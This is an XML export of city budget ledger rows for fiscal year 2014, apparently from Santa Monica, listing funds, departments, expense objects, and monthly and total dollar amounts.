<row _id="11927"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CUSTODIAL SUPP-TRIMANA</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3800.0</total></row>
<row _id="11928"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533223.0</object><object_description>BLDG/STR MAINT-ACCESS CENTER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
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<row _id="11930"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4325.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>4325</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="11954"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>279715.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>4131</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>283846.0</total></row>
<row _id="11955"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5493.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5493.0</total></row>
<row _id="11956"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="11957"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-5875.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5875.0</total></row>
<row _id="11958"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>588030.0</object><object_description>COMPUTER EQUIPMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>75000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75000.0</total></row>
<row _id="11959"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-3RD ST &amp; MISC</object_description><category_code>800.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29050.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29050.0</total></row>
<row _id="11960"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-NATURAL GAS-CITY HAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2100.0</total></row>
<row _id="11961"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522860.0</object><object_description>FUEL MANAGEMENT SYSTEMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2431.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2431.0</total></row>
<row _id="11962"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26031.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26031.0</total></row>
<row _id="11963"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>800000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>800000.0</total></row>
<row _id="11964"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17760.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17760.0</total></row>
<row _id="11965"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>283843.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>283843.0</total></row>
<row _id="11966"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19963.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19963.0</total></row>
<row _id="11967"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2900.0</total></row>
<row _id="11968"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522125.0</object><object_description>UTIL - NATURAL GAS - PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20900.0</total></row>
<row _id="11969"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533216.0</object><object_description>BLDG/CUSTODIAL SUPPLIES - LIB</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>67120.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>67120.0</total></row>
<row _id="11970"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>35960.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35960.0</total></row>
<row _id="11971"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555920.0</object><object_description>SANTA MONICA SWIM CENTER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-30000.0</total></row>
<row _id="11972"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533221.0</object><object_description>BLDG/STR MAINT-COM FAC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>93000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>93000.0</total></row>
<row _id="11973"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="11974"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="11975"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544220.0</object><object_description>GRAFFITI PROGRAM MATERIALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>133100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>133100.0</total></row>
<row _id="11976"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1862.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>1862</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11977"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-6718.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>6718</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11978"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1915.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>1915</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11979"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6500.0</total></row>
<row _id="11980"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>308.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>308.0</total></row>
<row _id="11981"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3658.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3658.0</total></row>
<row _id="11982"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577240.0</object><object_description>SERVICE AGREEMENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>259005.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>259005.0</total></row>
<row _id="11983"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3302.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>42</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3344.0</total></row>
<row _id="11984"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5125.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5125.0</total></row>
<row _id="11985"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="11986"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19341.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19341.0</total></row>
<row _id="11987"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-88203.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>-17906</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-106109.0</total></row>
<row _id="11988"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563129.0</object><object_description>SENIOR CENTER OPERATIONS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>151500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>151500.0</total></row>
<row _id="11989"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>576521.0</object><object_description>9-1-1 VOICE LOGGERS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>85480.17</june><total>85480.17</total></row>
<row _id="11990"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567230.0</object><object_description>PFA 2011B (PSF)</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1061450.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1061450.0</total></row>
<row _id="11991"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>555215.0</object><object_description>OUTSIDE TRAINER PAYMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20910.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20910.0</total></row>
<row _id="11992"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50.0</total></row>
<row _id="11993"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8261.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8261.0</total></row>
<row _id="11994"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522119.0</object><object_description>UTIL-ELEC-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>190342.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>190342.0</total></row>
<row _id="11995"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522119.0</object><object_description>UTIL-ELEC-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>47069.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>47069.0</total></row>
<row _id="11996"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522129.0</object><object_description>UTIL-GAS-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="11997"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522129.0</object><object_description>UTIL-GAS-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>65000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>65000.0</total></row>
<row _id="11998"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>32650.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32650.0</total></row>
